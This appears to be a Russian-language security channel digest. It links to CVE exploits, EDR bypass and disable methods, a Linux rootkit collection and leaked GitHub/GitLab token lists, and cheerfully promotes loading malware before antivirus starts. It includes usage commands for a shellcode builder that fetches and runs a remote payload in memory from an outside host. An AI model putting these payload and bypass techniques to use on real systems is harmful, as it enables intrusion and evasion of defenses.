Рубрика .git leaks
*
Чуваки за 30 дней вытащили 1439 действительных токенов гитЛАБа и гитХАБа.
Токены обеспечивают доступ к:
108 707 репозиториям кода.
2117 организациям/группам.
*
Список юзеров у которых увели токен с GitHub
Список юзеров у которых увели токен с GitLab
*
Ищем себя ))
Ну стоит добавить что это whitehat команда, и если себя нашли просят связаться с Gi7w0rm , добряки )))

CVE-2024-11680 ProjectSend r1605
*
Exploit

CVE-2024-51378 CyberPanel Command Injection
*
WriteUp
*
exploit

BootExecute EDR Bypass
*
Грузи малварь от ntdll.dll — до полной загрузки операционной системы Windows.
Метод и правда старый и много где используется, всегда логика была в том что бы стартануть раньше AV\EDR и даже килять его (хуки там всякие и тд).
*
D0wnL0@d

exit VIM (done)

Группа Nanowar of Steel создала гимн Java, текст которого полностью состоит из кода
*
github.com/NanowarOfSteel/HelloWorld

#metall #friday #party

CVE-2024-41713
*
Mitel MiCollab Authentication Bypass to Arbitrary File Read
*
Exploit

CVE-2024-38144
*
LPE vulnerability in Windows 11 due to Integer Overflow in ksthunk.sys
*
Перспективненько
*
WriteUp + exploit
WriteUp + exploit 2

Freeman/Freecat 😀

Collection of Linux Rootkit codes
*
Link

MyQ Print Server Unauthenticated RCE (CVE-2024-28059)
*
😆

PendingFileRenameOperations + Junctions EDR Disable
*
PendingFileRenameOperations позволяет приложениям создавать операции переименования файлов, создавая запись реестра в HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager.
*
Link

#win #edr

OpenBAS — это платформа с открытым исходным кодом, позволяющая организациям и проводить кампании и тесты по моделированию киберпреступлений.
*
Link

CVE-2024-38819
*
Spring Boot 3.3.4, based on Spring Framework 6.1.13 path traversal exploit
*
POC + docker

CVE-2024-1086 Linux LPE
*
Exploit

Apache Struts2 CVE-2024-53677
*
POC+WriteUp

Svartalfheim
*
Шелкодесы))
Stage 0 Shellcode to Download a Remote Payload and Execute it in Memory
*
Link
Usage
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 80
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 443 -s

Крутой разбор !!!
*
OtterRoot: Netfilter Universal Root 1-day